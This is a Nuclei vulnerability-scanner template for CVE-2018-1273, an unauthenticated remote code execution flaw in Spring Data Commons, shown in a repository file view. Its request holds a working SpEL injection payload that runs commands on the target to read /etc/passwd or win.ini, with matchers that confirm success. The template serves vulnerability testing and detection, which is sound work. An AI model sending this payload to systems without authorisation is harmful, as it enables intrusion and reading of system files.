nuclei-templates/cves/CVE-2018-1273.yaml

35 lines
1.1 KiB
YAML
Raw Normal View History

2020-10-01 02:28:22 +00:00
id: cve-2018-1273
info:
name: Spring Data Commons Unauthenticated RCE
author: dwisiswant0
severity: critical
description: |
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
and older unsupported versions, contain a property binder vulnerability
caused by improper neutralization of special elements.
An unauthenticated remote malicious user (or attacker) can supply
specially crafted request parameters against Spring Data REST backed HTTP resources
or using Spring Datas projection-based request payload binding hat can lead to a remote code execution attack.
requests:
- payloads:
command:
- "cat /etc/passwd"
- "type C:\\/Windows\\/win.ini"
raw:
- |
POST /account HTTP/1.1
Host: {{Hostname}}
Connection: close
Content-Type: application/x-www-form-urlencoded
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
part: body